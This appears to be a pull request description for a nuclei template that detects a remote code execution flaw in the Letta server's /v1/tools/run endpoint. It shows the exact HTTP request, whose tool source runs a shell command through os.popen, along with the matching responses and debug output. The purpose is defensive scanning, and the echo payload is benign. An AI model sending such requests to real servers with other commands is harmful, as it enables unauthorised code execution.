POST /v1/tools/run where crafted tool source is executed by letta.server.rest_api.routers.v1.tools.run_tool_from_source.YES
NO
Template: http/cves/2025/CVE-2025-51482.yaml
Verification approach: Executes a benign echo via provided Python tool source and matches the randomized marker in the JSON response on success. Includes a minimal json_schema to satisfy server validation.
Verify:
nuclei -t http/cves/2025/CVE-2025-51482.yaml -u http://127.0.0.1:8283 -debug -vv -duc > debug.txt
Matched response data snippet (redacted)
{
"message_type": "tool_return_message",
"status": "success",
"tool_return": "34jGBtQJnZwGwp45es0f7zAeW5P\n",
"stdout": [],
"stderr": []
}
HTTP request excerpt
POST /v1/tools/run HTTP/1.1
Content-Type: application/json
{
"name": "nuclei",
"args": {},
"json_schema": {"type":"object","properties":{}},
"source_code": "def nuclei():\n import os\n return os.popen('echo {{randstr}}').read()"
}
Nuclei debug highlights
[letta-tools-run-rce] Letta Letta 0.7.12 - Remote Code Execution (@raghavarora14) [high]
HTTP/1.1 200 OK
Content-Type: application/json
{"tool_return":"34jJTKisa9wTQ9l2arhBBiGHTYn\n","status":"success","stdout":[],"stderr":[]}
[letta-tools-run-rce:status-1] [http] [high] http://127.0.0.1:8283/v1/tools/run
[letta-tools-run-rce:word-2] [http] [high] http://127.0.0.1:8283/v1/tools/run
[letta-tools-run-rce:word-3] [http] [high] http://127.0.0.1:8283/v1/tools/run
application/json; body contains randomized marker.metadata.verified: true set after local Docker validation.json_schema is included to pass validation.token variable and Authorization header (not required here).poc/letta-cve-2025-51482/).Raghav Arora
@RaghavArora14
ProjectDiscovery
@projectdiscovery